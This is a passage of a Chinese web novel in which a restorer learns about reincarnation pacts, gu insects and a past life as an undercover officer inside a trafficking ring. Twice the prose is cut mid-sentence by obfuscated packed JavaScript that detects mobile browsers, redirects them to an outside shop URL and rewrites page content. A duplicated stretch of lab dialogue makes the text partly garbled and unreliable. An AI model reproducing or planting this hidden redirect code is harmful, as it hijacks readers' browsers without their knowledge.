雨不大,淅淅沥沥的,像谁在天上慢条斯理地筛着细沙。君荼白站在公寓窗前,看着雨水在玻璃上划出蜿蜒的水痕,左手腕的疤痕传来隐约的麻痒,像有无数细小的虫足在皮肤下轻轻爬动。 他想起旧货市场老头说的话:“母蛊在,子蛊就在。子蛊在,禁制就在。” 六点整,手机准时震动。陆予瞻发来定位和简短的一句:“到了给我消息,我出来接你。” 定位是城南一栋私人会所,名字很雅致,叫“听松阁”。君荼白查过,那里实行会员制,不对外开放,主要承接高端文化沙龙和私人收藏品鉴赏会。陆予瞻所在的“文华遗产基金会”今晚在那里举办季度晚宴,名义是答谢捐赠人,实则是个小型藏品交流现场。 君荼白翻出来唯一一套像样的西装——深灰色,三年前买的,有些紧了。系领带时手指有些不听使唤,打了两次才成型。镜子里的人脸色苍白,眼下有淡淡的青影。 他知道自己应该紧张,应该害怕,应该对即将面对的“真相”感到惶恐。 但奇怪的是,此刻他心里只有一种近乎麻木的平静。 就像站在悬崖边上的人,低头看着深渊,反而不再恐惧坠落。 七点,雨势稍大。君荼白撑伞出门,打车前往听松阁。 会所隐在一片老梧桐树后面,青瓦白墙,是仿民国建筑的风格。门口没有招牌,只有两盏昏黄的灯笼在雨幕里摇曳。君荼白报出陆予瞻的名字,穿旗袍的侍者微微颔首,领他穿过一道月亮门,走进内院。 内院别有洞天。回廊曲折,雨打芭蕉的声音清脆悦耳。几间厢房里透出暖黄的灯光,隐约能听见里面的人声和瓷器轻碰的脆响。 “君先生?” 陆予瞻的声音从回廊另一头传来。 君荼白转身,看见他沿着青石板路走来。今晚的陆予瞻和平时不太一样,还是戴着金丝眼镜,但换了一身靛青色的中式立领外套,料子看着像是真丝,在灯光下有细腻的光泽流动。他手里拿着一把黑色的长柄伞,伞尖还滴着水。 “雨突然大了,我还担心你找不到路。”陆予瞻走近,笑容温和自然,“走吧,晚宴刚开始,我先带你去见几位老先生。他们都是基金会的老朋友,对你的修复手艺很感兴趣。” 他的态度太正常了,正常到让君荼白有一瞬间的恍惚。 仿佛昨天在旧货市场看到的一切,那些泛黄的照片、玻璃舱里的蛊虫、老头嘴里那些关于轮回和债务的话,都只是一场荒诞的梦。 “怎么了?”陆予瞻察觉到他的停顿,侧头看他,“脸色不太好,不舒服?” “……没事。”君荼白移开视线,“走吧。” 陆予瞻没再追问,只是引着他往主厅走。经过一处敞开的窗时,君荼白无意间瞥见窗外雨中的庭院假山旁,一个穿着黑色西装的身影静静立在那里,没有打伞,任由雨水打湿肩膀。 君荼白已经免疫了。 移动的“标枪”站在一棵老松树的阴影里,目光隔着雨幕和窗格,准确地落在君荼白身上。 只是一瞥,“标枪”就移开了视线,重新看向庭院深处。 “看什么?”陆予瞻顺着他的视线望去。 庭院里空无一人。周屹已经消失在假山后面,仿佛从未出现过。 “……没什么。”君荼白收回目光,“走吧。” 主厅比想象中小,布置得却很雅致。二十几个人三三两两地站着聊天,大多年过半百,穿着考究,言谈间带着文化人特有的那种从容不迫。厅中央的长条桌上摆着茶点和冷餐,墙边有玻璃展柜,里面放着几件今晚要展示的藏品。 陆予瞻带着君荼白一一介绍。这位是某博物馆的前馆长,那位是著名的收藏家,还有几位是高校的历史系教授。每个人都对君荼白很客气,问的问题也都专业:用的什么纸、哪种墨、修复周期多长、有没有遇到过特别棘手的破损…… 一切都很正常。 正常得令人不安。 直到晚宴进行到一半,侍者推出一辆盖着红绒布的小推车。陆予瞻走到厅中央,轻轻敲了敲手中的茶杯,所有人安静下来。 “感谢各位今晚莅临。”他的声音在厅里回荡,清晰而沉稳,“按照惯例,基金会每个季度都会展示一件近期入藏或修复完成的珍品。今晚要给大家看的,是一本很特别的书。” 红绒布被揭开。 玻璃罩下,是一本线装古籍。封皮是深蓝色的,没有题签,纸页泛黄,边角有明显的虫蛀和水渍痕迹。 君荼白的呼吸停了一瞬。 那本书,他认识。 不,更准确地说他摸过。 就在上个月,基金会送来一批待修复的古籍,其中就有这本。陆予瞻当时特意叮嘱:“这本先不急,放一放。”君荼白只粗略翻过几页,记得内容很杂,像是某个人的私人笔记,记录了各种奇闻异事、民俗方术,还有一些看不懂的符号和图谱。 “这本书暂时没有正式定名。”陆予瞻的声音继续,“从内容和纸张判断,应该是清末民初的民间手抄本。特别之处在于——” 他顿了顿,目光扫过全场,最后落在君荼白身上。 “里面有几页,提到了某种现在已经失传的……‘共生契约’。” 厅里响起轻微的议论声。 “共生契约?是某种民间信仰吗?”有人问。 “类似,但更具体。”陆予瞻示意侍者打开玻璃罩,戴上白手套,小心翼翼地将书翻到某一页,“根据这几页的描述,这种契约需要至少两人,通过某种‘媒介’建立连接。连接一旦形成,双方的命数就会产生某种程度的……纠缠。” 他抬起头,眼镜片后的眼睛在灯光下反射出微妙的光。 “契约方共享福祸,共担生死。一方受伤,另一方也会感到疼痛。一方濒死,另一方的生命也会流逝。” 厅里安静下来。 “这听起来像某种巫术。”一位老教授皱起眉。 “可以这么说。”陆予瞻合上书,“但有意思的是,这本笔记的作者自称是这种契约的‘见证者’。他说自己亲眼见过几对建立这种连接的人,其中一对——” 他的声音又停了停。 “活了很久很久。久到超出了正常人的寿命。” 这下议论声更大了。 “长生?荒谬!”有人摇头。 “未必是长生。”陆予瞻平静地说,“笔记里的原话是:‘年岁叠加,命线纠缠,不知今夕何夕。’更像是……每个人的时间,被混在了一起。” 君荼白站在人群边缘,感觉左手腕的疤痕又开始发烫。 他下意识地握紧手腕,指尖触到皮肤下那个月牙形的凸起。 它在跳动。 像一颗微弱的心脏。 “当然,这些都只是古籍里的记载,真伪难辨。”陆予瞻重新盖上玻璃罩,恢复了一贯的温和笑容,“基金会收藏这本书,主要是作为民俗学研究的材料。今晚拿出来分享,也是想听听各位专家的看法。” 话题很快转向学术讨论。有人说起云南某些少数民族的“同命蛊”,有人提到道教里的“寄命术”,还有人扯到西方神秘学里的“生命共享契约”…… 君荼白一个字也听不进去。 他的全部注意力都集中在自己手腕上。那里,那个疤痕正随着心跳的节奏,一下、一下地搏动。每搏动一次,就有一股细微的热流顺着血管往上爬,一直爬到心脏的位置。 然后他听见了声音。 不是耳朵听见的。 是直接从脑子里响起来的。 很轻,很模糊,像隔着一层厚厚的毛玻璃。但依稀能分辨出,是周屹的声音—— “走。” 只有一个字。 急促,紧绷,带着某种近乎恐慌的警告。 君荼白猛地抬头,环顾四周。陆予瞻还在和几位老先生交谈,侍者在添茶,其他人或在听或在讨论。一切如常。 但周屹的警告还在脑子里回响。 “走。快走。” 君荼白往后退了一步,转身,想悄悄离开主厅。刚走到门口,一只手轻轻按在他肩上。 “要去哪里?” 陆予瞻不知什么时候出现在他身后,脸上还带着笑。 “我……有点闷,想去院子里透透气。”君荼白尽量让声音听起来正常。 “我陪你。”陆予瞻的手没有松开,“正好,我也有话想单独跟你说。” 不是询问,是陈述。 君荼白知道自己走不了了。 两人沿着回廊慢慢走。雨还在下,打在廊檐的瓦片上,声音细密绵长。廊下每隔几步就挂着一盏纸灯笼,暖黄的光在雨夜里晕开,像一个个悬浮的茧。 “那本书,”走出一段后,陆予瞻先开口,“你看过,对吧?” 君荼白点头:“翻过几页。” “觉得怎么样?” “……很怪。”君荼白斟酌着用词,“不像正经的学问,像民间术士的杂记。” 陆予瞻笑了:“你看得很准。那本书的作者,确实是个游方术士。而且很可能,是个真的懂点东西的术士。” 他停下脚步,靠在廊柱上,从口袋里摸出一包烟,抽出一根点燃。烟雾在雨气里袅袅上升,很快散进夜色。 “我找那本书,找了很多年。”他说,声音轻得像自语,“直到三个月前,才从一个地下拍卖会拍到。到手之后,我第一个想到的就是你。” 君荼白看着他:“为什么?” “因为里面提到的那种‘共生契约’,”陆予瞻转过头,眼镜片后的眼睛直直看向他,“需要一种特殊的‘媒介’才能建立。” “什么媒介?” “蛊。” 雨声突然变得很响。 君荼白感觉自己的心跳漏了一拍。 “蛊虫作为载体,种在契约方体内。”陆予瞻继续说,语气平静得像在讲解学术论文,“子蛊和母蛊建立连接,通过这种连接,双方的命数开始纠缠。笔记里说,这种契约一旦结成,就几乎无法解开。除非……” “除非下蛊的人死了。”君荼白接上他的话。 陆予瞻抽烟的动作顿了顿。 然后他慢慢笑了,笑容里有些复杂的东西。 “你去见过老鬼了。”他说,不是疑问,“周屹带你去的。” 君荼白没有否认。 “他都跟你说了什么?”陆予瞻问,“轮回?照片?还是……锁声蛊?” 每一个词都像一块冰,砸进君荼白的意识里。 “他说的是真的吗?”君荼白听见自己的声音在问,“那些照片,那些轮回……还有我手腕上的这个。” 他拉起袖子,露出那个疤痕。 在廊灯的照射下,疤痕呈现出一种不正常的淡红色,皮肤下的搏动清晰可见。 陆予瞻盯着那个疤痕看了很久。 久到君荼白以为他不会回答了。 然后他掐灭烟蒂,伸手,轻轻握住了君荼白的手腕。 他的指尖很凉。 “这个疤,”陆予瞻低声说,“是你自己留下的。” “什么时候?” “第一世。”他的拇指抚过疤痕边缘,动作很轻,“你说,要给自己一个记号。一个无论轮回多少次,无论忘掉多少事,都能认出来的记号。” 君荼白的呼吸变得急促。 “为什么?”他问,“为什么要轮回?为什么要忘记?” 陆予瞻松开手,重新靠回廊柱。雨声里,他的侧脸在灯笼光下显得有些不真实。 “因为有些债,一辈子还不完。”他说,“有些错,一次改不了。有些人……一次救不回来。” 他的声音低下去,最后几个字几乎被雨声吞没。 “所以你选择了最笨的方法。”君荼白说,“一次又一次地重来,一次又一次地试。” 陆予瞻没说话。 默认了。 “那周屹呢?”君荼白追问,“他的锁声蛊,真的是我下的?” 这次,陆予瞻沉默得更久。 然后他轻轻叹了口气。 “是。”他说,“是你下的。但那是他自己要求的。” “什么?” “第三世的时候,出了点……意外。”陆予瞻斟酌着词句,“周屹知道了些不该知道的事,差点说漏嘴。为了封住那些话,他求你给他下蛊。你说,锁声蛊太狠,他不肯听。最后是他自己拿着蛊虫,逼你动手。” 君荼白眼前突然浮现出一个画面—— 昏暗的房间里,年轻的周屹跪在地上,手里捧着一只银色的蛊虫。年轻的自己站在他面前,手在发抖。 “你想清楚。”那个自己对周屹说,“一旦种下,你这辈子都说不出来了。” “我知道。”周屹抬头,眼神坚决,“动手吧。” 然后蛊虫被送进喉咙,银光一闪,没入皮肉。 周屹的喉咙剧烈起伏,额上青筋暴起,但硬是没发出一声痛呼。 画面碎了。 君荼白扶住廊柱,感觉一阵眩晕。 “为什么……”他喃喃,“为什么要做到这种地步……” “因为有些话,说出来会死更多人。”陆予瞻的声音很平静,平静得可怕,“周屹选择用一副嗓子,换几条人命。很划算,不是吗?” 君荼白猛地转头看他。 陆予瞻的脸上没有任何表情。眼镜片反射着灯笼的光,看不清眼神。 但君荼白突然意识到一件事: 这个人,这个总是温润带笑、彬彬有礼的陆予瞻…… 骨子里,可能比谁都冷。 “那你呢?”君荼白问,“你欠我什么?老头说,我欠你一段人生。” 陆予瞻笑了。 这次是真的笑,笑出了声,但笑声里没有一点温度。 “你不欠我。”他说,“是我欠你。” 他转过身,面对着廊外的雨幕。背影挺拔,却莫名显得有些……孤寂。 “第一世,我是个书生,你是世家少爷。你救过我的命,帮我平了冤案,还资助我进京赶考。我说,等我考中了,一定回来报答你。” 他顿了顿。 “但我没考中。回乡的路上,听说你家出事了。赶到的时候,只剩一片废墟。你在火里,我去拉你,没拉住。” 雨声哗哗。 “第二世,我成了商人,你是教书先生。我说,这辈子换我护着你。结果生意失败,仇家找上门,你替我挡了一刀。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052002|194818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆予瞻的声音很轻,轻得像随时会断。 “第三世,第四世,第五世……每次都是这样。每次都是你说要救我,每次都是你死在我前面。” 他转过身,看着君荼白。廊灯下,君荼白看见他的眼眶有些红。 “所以你说,是我欠你,还是你欠我?” 君荼白答不上来。 他脑子里一片空白。 “那沈鉴呢?”他听见自己问,“我欠他什么?” 陆予瞻的表情变了。 刚才那种孤寂和脆弱瞬间消失,取而代之的是一种……近乎警惕的凝重。 “沈鉴不一样。”他说,“你欠他的,不是命,是别的。” “是什么?” 陆予瞻没回答。 他只是抬起手,指了指君荼白的胸口。 “你这里,”他说,“有他想要的东西。一件他找了几辈子,都没找到的东西。” “什么东西?” “记忆。”陆予瞻说,“不是你的记忆,是别人的。很多很多人的记忆,都锁在你这里。沈鉴想要那些记忆,因为他觉得,那里面藏着一个……答案。” “什么答案?” “关于这一切为什么会开始的答案。”陆予瞻看着他。 他的声音低下去,低到几乎听不见。 “也关于……这场轮回,到底什么时候才能结束。” 雨越下越大。 廊檐开始漏水,水滴砸在青石板上,溅起细小的水花。远处主厅的人声隐约传来,笑语晏晏,和此刻回廊里的死寂形成鲜明对比。 君荼白看着陆予瞻,看着他眼镜片后那双深不见底的眼睛,突然戳破了那几世的谎言: “你在骗我。如果前几世只是这样,沈鉴不会费尽心思想从我身上获取我的记忆。” 陆予瞻沉默了几秒。 然后他说: “周屹想让你活着。” “沈鉴想让你想起来。” “而我……” 他顿了顿。 “我想让你选。” “选什么?” “选要不要继续。”陆予瞻说,“最后一场轮回,你可以选择继续,也可以选择停下。但停下有代价,继续也有代价。你得自己想清楚,哪个代价你付得起。” 君荼白握紧了拳。 左手腕的疤痕在剧烈跳动,像有什么东西在里面横冲直撞,想要破皮而出。 “如果我选停下,”他问,“代价是什么?” 陆予瞻看着他,眼神复杂。 “你会死。”他说得很直白,“不是这一世的死,是真正的、魂飞魄散的死。轮回会终止,你再也不会进入下一个循环。” “那你们呢?” “我们会陪你。”陆予瞻说,“契约是共生的,你死,我们也活不了。” 君荼白呼吸一窒。 “那如果……我选继续?” “你会继续完成当时的约定,继续在这一世里寻找那个‘修正’的机会。直到某一天,你真的修正了那个最初的错误,这场轮回才会自动终止。” “到那时,我们都能活?” “都能活。”陆予瞻点头,“而且能真正地、自由地活。” 君荼白低下头,看着自己手腕上那个跳动不止的疤痕。 它每跳一下,就在提醒他一件事: 这场轮回,这场持续了不知道多少年的、沉重的、痛苦的轮回…… 是他自己选的。 为了救一些人。 为了改一些错。 为了还一些债。 雨声里,他听见自己问: “那个最初的错误……是什么?” 陆予瞻没说话。 他只是抬起手,指了指主厅的方向。 “答案在那本书里。”他说,“但你看不懂。现在这世上,只有一个人能看懂那本书里真正的意思。” “谁?” 陆予瞻看着他,一字一顿: “沈鉴。” 就在这时,主厅方向突然传来一声惊呼,接着是瓷器碎裂的脆响。 陆予瞻脸色一变,转身就往主厅跑。君荼白愣了一秒,跟了上去。 主厅里一片混乱。 玻璃展柜碎了,那本古籍掉在地上,散开几页。几位老先生围在旁边,脸色都不好看。侍者正在收拾碎片。 “怎么回事?”陆予瞻快步走过去。 “不知道。”一位老教授摇头,“刚才还好好的,突然‘砰’一声,展柜自己裂了。” 陆予瞻蹲下身,戴上手套,小心地捡起古籍。君荼白站在他身后,看见翻开的页面上,有几行字正在……消失。 墨迹像被什么无形的东西擦去,一个字一个字地淡去,最后变成空白。 几秒钟后,整页都白了。 “这……”有人倒抽一口冷气。 陆予瞻快速翻动书页。不止这一页,前后好几页都在消失。那些记载着“共生契约”细节的页面,那些画着奇怪符号和图谱的页面,都在以肉眼可见的速度变成空白。 仿佛有谁在远程操控,精准地抹去这些内容。 “沈鉴。”陆予瞻低声说,声音里带着压抑的怒意。 他掏出手机,快速拨了个号码。 无人接听。 再拨,还是无人接听。 陆予瞻收起手机,脸色阴沉得可怕。他小心地把古籍收进一个特制的防水袋里,递给侍者:“收好,任何人都不准碰。” 然后他转身,看向君荼白。 “他动手了。”陆予瞻说,声音冷得像冰,“他知道你开始查了,所以先一步抹掉证据。” “谁?沈鉴?” 陆予瞻点头。 “他为什么要这么做?” “因为他不想让你知道太多。”陆予瞻说,“至少,不想让你现在就知道。” 他走到君荼白面前,压低声音: “今晚就到这里。你先回去,锁好门,任何人敲门都不要开。周屹会在附近守着,安全方面不用担心。” “那你呢?” “我去找沈鉴。”陆予瞻说,“有些事,该摊开说说了。” 他拍了拍君荼白的肩。 “记住,不管发生什么,不管谁跟你说什么。在你真正想清楚之前,不要做任何决定。” 说完,他转身快步离开,身影消失在雨夜里。 君荼白站在原地,看着满厅的狼藉,看着那些还在窃窃私语的老先生,看着侍者小心翼翼地收拾残局。 然后他低头,看着自己手腕上那个疤痕。 它还在跳。 但节奏变了。 不再是急促的警告,而是一种……缓慢的、沉静的搏动。 像在说: “快到了。” “那个你等了很久的答案,快到了。” 君荼白握紧手腕,转身离开主厅。 雨还在下。 廊檐下,他看见周屹站在不远处的阴影里,静静看着他。见他出来,周屹微微颔首,然后转身,像一道影子般融进夜色。 君荼白没有叫住他。 他只是撑开伞,走进雨里。 脚步很稳。 一步一步。 走向那个正在快速逼近的、无法回避的真相。 7. 记忆标本 沈鉴的实验室在城西一栋不起眼的旧写字楼顶层。 君荼白站在楼下时,雨已经停了。凌晨三点,整条街空无一人,只有路灯在湿漉漉的地面上投下昏黄的光晕。他手里攥着那张陆予瞻最后塞给他的字条,上面只有一行地址和一个时间: “西山路17号,顶楼。03:17。” 分秒不差。 写字楼的铁门虚掩着。君荼白推门进去,楼道里很暗,声控灯坏了,只有安全出口的绿色标识在远处幽幽发光。他沿着楼梯往上走,脚步声在空荡的楼梯间里回响,像有另一个人在跟着他。 顶楼只有一扇门。 厚重的金属门,没有标识,门缝里透出冷白色的光。君荼白抬手,刚想敲门,门就自动开了。 里面是完全不同的世界。 实验室比想象中大得多,几乎占满了整个顶层。墙面、地板、天花板都是纯白色,冷白的光从看不见的灯带里均匀洒下。几十台显示器组成一整面墙,屏幕上滚动着复杂的数据流和波形图。房间中央是一个巨大的玻璃工作台,上面摆满了各种仪器——有些君荼白认得,显微镜、离心机、培养箱;更多是他不认得的,闪着金属冷光的精密设备,连接着粗细不一的管线。 空气里有消毒水的味道,还有一种更淡的、难以形容的气味。像旧书,又像某种草药。 沈鉴背对着门,站在工作台前。他穿着白大褂,没系扣子,里面是简单的黑色衬衫。听见门响,他没回头,只是抬起手,指了指工作台对面的一张椅子。 “坐。” 君荼白走过去坐下。椅子是金属的,很凉。 沈鉴继续摆弄手里的东西,那是一个半透明的培养皿,里面有一小团暗红色的组织,正在某种液体里缓慢地蠕动。 过了大概三分钟,他才放下培养皿,摘下手套,转身看向君荼白。 “陆予瞻去找你了。”他说,不是问句。 君荼白点头。 “他说了什么?”沈鉴走到旁边的一台仪器前,开始操作屏幕,“轮回?契约?还是……他如何处理你养父母的事?” 最后那句话,让君荼白猛地抬头。 “……什么?” 沈鉴按下一个键,显示器上出现一份扫描文件。那是一份警方报告,标题是“失踪人口协查通报”,下面贴着两张照片——王建国和李秀兰。 “三个月前,你的养父母失踪了。”沈鉴的语气很平淡,“官方记录显示,他们购买了去边境的车票,然后消失在山区。大概率是遇到了意外,或者……卷入了什么麻烦。” 他转过身,看着君荼白。 “但真相是,他们永远也不会回来了。” 君荼白的手指收紧,指甲陷进掌心:“你们……做了什么?” “不是‘我们’。”沈鉴纠正,“是陆予瞻。在这一世轮回,他做了一件事——他找到了王建国,用一种非常规手段,读取了他的一部分记忆。” “读取记忆?” “一种古老的蛊术,需要活体作为媒介。”沈鉴调出另一份文件,上面是复杂的图表和注解,“通过那种蛊,陆予瞻看到了王建国记忆中最黑暗的部分。包括他二十多年来经手的每一笔‘交易’,每一个被他卖掉的人,以及……” 他顿了顿。 君荼白的呼吸变得急促。 “看到那些记忆后,陆予瞻做了个决定。”沈鉴继续说,“他联系了周屹,还有我。他说,这一世,不能再让那两个人活着。不能再让他们有机会伤害你,或者……通过你,伤害更多人。” 实验室里安静得能听到仪器低沉的嗡鸣。 “所以,”君荼白的声音发干,“你们杀了他们?” 沈鉴沉默了几秒。 “我们给了他们应得的结局。”他最终说,“王建国和李秀兰的尸体,永远不会被找到。他们会被记录为‘失踪’,然后从这个世界彻底消失。” 他走到君荼白面前,靠在工作台边缘。 “陆予瞻让我告诉你这些,是因为他觉得你有权知道。但他不敢自己说,毕竟在那一世,他是你的队长,却没能保护好你。这147个轮回以来,这件事一直压在他心上。” 君荼白闭上眼睛。 脑子里浮现出陆予瞻的脸——总是温润的,带着笑,但眼神深处总藏着什么沉重的东西。 现在他知道了。 那是愧疚。 是目睹下属被折磨致死却无能为力的愧疚。 是轮回百世仍无法救赎的愧疚。 “你手腕上的蛊,”沈鉴的声音把他拉回现实,“不只是契约的印记。它还是一个存储器。” 沈鉴走到显示器墙前,按了几个键。屏幕上出现一个放大无数倍的三维扫描图像,正是君荼白左手腕月牙形疤痕的微观结构。 “看到这些银色丝状物了吗?”沈鉴指着屏幕上那些嵌入皮肤组织、像神经网络一样延伸的细线,“它们是蛊虫代谢后留下的痕迹,形成了一套与你主神经系统并行的记忆存储网络。” 图像继续放大,那些“丝状物”的细节呈现出来:表面有极细的螺旋纹路,每隔一段距离就有微小的节点,像数据存储单元。 “但让我感兴趣的,是疤痕本身。”沈鉴调出另一组数据,“这个月牙形的伤痕,形成时间远早于蛊丝的植入。根据组织切片分析和疤痕胶原蛋白的排列模式” 他停顿了一下,看向君荼白。 “这个伤痕,至少经历了持续三到五天的持续压迫和反复撕裂,才会形成这样深的、永久性的印记。而且伤口边缘的微观结构显示,造成伤痕的物体有规律的锯齿状纹理。” 君荼白下意识地握住了自己的左手腕。 “是什么东西造成的?”他听见自己问。 “一种特制的金属锁扣。”沈鉴调出一个三维建模图像,那是一个半圆形的金属环,内侧布满细密的倒齿,“这种锁扣设计得很巧妙,戴上后,正常状态下不会造成太大伤害。但只要佩戴者挣扎,倒齿就会随着手腕的转动越咬越深,撕裂皮肉,最终卡进腕骨。” 他放大了锁扣内侧的一个细节。 “这里,还有一个微小的注射孔。可能用于注入药物,或者……其他东西。” 君荼白盯着那个模型,感觉自己的左手腕开始隐隐作痛。 “你怎么知道这些?”他问。 “因为我在你前146次轮回的生物样本里,都检测到了同样的金属微粒残留。”沈鉴调出一份元素分析报告,“铬、镍、锰的特殊合金比例,与上世纪九十年代某些地下作坊生产的‘惩戒器械’完全吻合。” 他转过身,看着君荼白。 “现在,你想知道这个伤痕是怎么来的吗?” 君荼白沉默了几秒,然后点头。 沈鉴走到工作台另一侧,拿出那个头戴式设备。 “戴上这个,系统会模拟特定的神经信号,激活你体内蛊丝对应的感官记忆。”他把设备递过来,“你会‘感觉’到那些记忆里的疼痛,但不会真的受伤。当然,你可以拒绝。” 君荼白看着那个设备。 然后他伸手接过。 他走到显示器墙前,调出那个放大无数倍的疤痕微观图像。 “这些蛊丝记录了每一世的痛苦和记忆。但最核心的部分,第一世的完整记忆,被加密了。加密的密钥,是极致的痛苦。” 沈鉴转过身。 “陆予瞻读取了王建国的记忆,知道了第一世的部分真相。但他知道的,是王建国视角的真相。而你记忆里的真相,才是完整的。” 他拿出那个头戴式设备。 “我需要你的授权,才能解压那些记忆。你可以拒绝。因为前145个轮回你都刻意回避掉第一世的记忆,这一次我希望你能克服。如果你想知道一切的起源,想知道你为什么选择轮回,想知道那一百四十七个人为什么必须被救,” 他把设备递过来。 “那就戴上它。” 君荼白看着那个设备,看着那些细小的电极。 然后他伸手接过。 “我需要怎么做?” “放松。”沈鉴帮他戴上,“系统会模拟疼痛信号,激活蛊丝记忆。你会看到、听到、感觉到那些被封存的过去。记住,那是记忆,不是现在。无论多痛苦,都不要抗拒。” 设备启动。 第一段记忆:气味。 霉味,汗味,还有劣质香精的甜腻。混在一起,形成一种令人作呕的气息。 视觉逐渐清晰。 一个昏暗的房间。水泥地,斑驳的墙,低矮的天花板上吊着一盏瓦数很低的灯泡。墙角蜷缩着三个人影——都是女孩,很年轻,脸上有伤。 记忆的主人——小君荼白,大概十岁——坐在木板床边,手里拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052003|194818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一本破旧的小学课本。 门开了。 一个男人走进来。国字脸,浓眉,眼角有道疤。王建国。 他扫了一眼墙角的女孩们,然后看向小君荼白。 “出来。” 小君荼白放下课本,跟着他出去。 外面是另一个房间,摆着简陋的桌椅。桌上放着吃剩的饭菜和空酒瓶。 王建国坐下,倒了杯酒。 “明天那批货,你跟着去。”他说。 小君荼白抬头:“我?” “对,你。”王建国盯着他,“你年纪小,不容易被怀疑。到了那边,帮我看好这些人,别让她们跑。等交易完了,我接你回来。” 他顿了顿,声音压低。 “记住,机灵点。要是敢耍花样……” 他没说完,但眼神说明了一切。 小君荼白低下头:“知道了。” 那天晚上,他回到关押女孩的房间。等所有人都睡着后,他走到墙边,从一道裂缝里抠出一个小纸包。 纸包里是一些干枯的草叶和黑色的种子。 他把纸包紧紧攥在手心。 记忆跳转。 货车。颠簸。黑暗的车厢里堆着麻袋和纸箱。三个女孩蜷缩在角落,小君荼白坐在靠近车门的位置。 车停了。 车门打开,刺眼的阳光照进来。一个穿花衬衫、戴金链子的男人站在外面,皮肤黝黑,口音很重。 “就这几个?” 驾驶座上的高个男人——王建国的搭档——跳下车,递烟:“三个女的,货色不错。还有个小的,帮忙看人。” 花衬衫男人打量小君荼白:“这小崽子多大了?” “十岁。机灵,不会添乱。” 花衬衫男人没再说什么,挥手让人把女孩们拖下车。哭喊声,挣扎声,然后渐渐远去。 小君荼白跟着下车。 眼前是一个破旧的仓库院子。铁丝网,高墙,带刺的铁丝。 边境。 花衬衫男人领着他们往仓库里走。走到最里面的办公室,他开始数钱。高个男人盯着钱,眼睛发亮。 小君荼白站在门口,目光扫过办公室——桌上有一部老式电话,墙上挂着地图,角落里堆着木箱。 其中一个木箱没盖严,露出一角。 里面是枪。 他移开视线。 交易完成,高个男人拍了拍他的肩:“在这儿待着,帮忙看着点。过两天我来接你。” 然后离开了。 小君荼白退出办公室,在仓库里慢慢走。他避开看守,观察每个房间的门窗。 走到最角落的一个房间时,他停下。 铁门很厚,上面有个小窗,焊着铁条。他踮脚往里看—— 房间里很暗,但能看见有个人被铁链锁在墙角。那人穿着破烂的白大褂,头发很长,手里拿着一本很旧的书。 深蓝色封皮,没有题签。 小君荼白盯着那本书,看了很久。 然后他转身,快步走回办公室。 花衬衫男人正在打电话,骂骂咧咧。等他挂断,小君荼白敲门。 “什么事?” “关在角落房间那个人,”小君荼白小声说,“是什么人?” 花衬衫男人愣了一下,然后笑了:“那个疯子?是个医生,欠了赌债被卖过来的。怎么,你想看他那本破书?” “……我想看。” 花衬衫男人盯着他看了几秒,突然大笑:“行啊,小崽子还挺好学。” 他拿了钥匙,带小君荼白去那个房间。 开门,霉味和血腥味扑面而来。墙角那人抬起头——五十多岁,很瘦,但眼睛很亮。 “这小子想看你那本书。”花衬衫男人说,“给他看看。” 那人慢慢抬起手,把书递过来。 小君荼白接过。 翻开第一页。 上面画着一个奇怪的图案——一个首尾相连的环。 莫比乌斯环。 下面有一行小字,用某种他不认识的语言写着: “时间是环,命运是线。以血为契,以蛊为锚,可破轮回,可改因果。” 他盯着那句话,看了很久。 然后他抬头,看向墙角那人。 那人也在看他。 两人的目光在空中交汇。 8. 记忆标本(续) 记忆断裂,重组。 新的场景。 那是他二十四岁的时候。 君荼白——第一世的君荼白——站在更衣室的镜子前,仔细整理着便服的衣领。镜子里的人眼神坚定,但深处藏着只有自己能察觉的紧张。 他已经潜入这个人口贩卖集团六个月了。 表面身份:王建国的“养子”,被派来帮忙打理一些“生意”。 真实身份:卧底警察。 警号:07429。 任务代号:“归巢”。 今天下午三点,他将拿到最关键的一批账本和交易记录。如果顺利,今晚之前,证据就能送出去。这个盘踞二十多年的网络,至少能撕开一个口子。 他深吸一口气,推门出去。 走廊很暗,老房子的木质地板在脚下发出轻微的吱呀声。走到楼梯口时,他停下脚步。 楼下有说话声。 不止王建国一个人。 “……那小子最近有点不对劲。”一个陌生的男声,“上次老李说,看见他在仓库后面转悠,像是记什么东西。” “他是我养大的,我清楚。”王建国的声音,“就是好奇心重了点。” “好奇心重?”另一个人冷笑,“老王,你别忘了,他可是从你手里逃出去过一次的人。后来还考上警校——” “闭嘴!” 楼下安静了几秒。 君荼白的心脏几乎停跳。 他们知道了。 或者说,他们怀疑了。 他转身想退回房间,但已经晚了。 楼梯下方,三个男人走上来。为首的是王建国,他身后跟着两个陌生面孔——一个瘦高,脸上有道疤;一个矮壮,手里拎着个工具箱。 “小白,”王建国看着他,脸上没什么表情,“去哪儿啊?” “下楼。”君荼白尽量让声音平稳,“不是说下午要送货吗?” “送货?”瘦高男人笑了,“送什么货?送你上路吗?” 话音未落,矮壮男人已经扑上来。 君荼白侧身躲开,同时抬肘击向对方肋下——这是警校格斗课的标准动作。矮壮男人闷哼一声,动作却更快,一把抓住他的手臂,用力一拧。 关节错位的剧痛。 君荼白咬紧牙关,另一只手摸向腰间——那里藏着一把折叠刀。但瘦高男人已经绕到身后,一脚踹在他膝弯。 他跪倒在地。 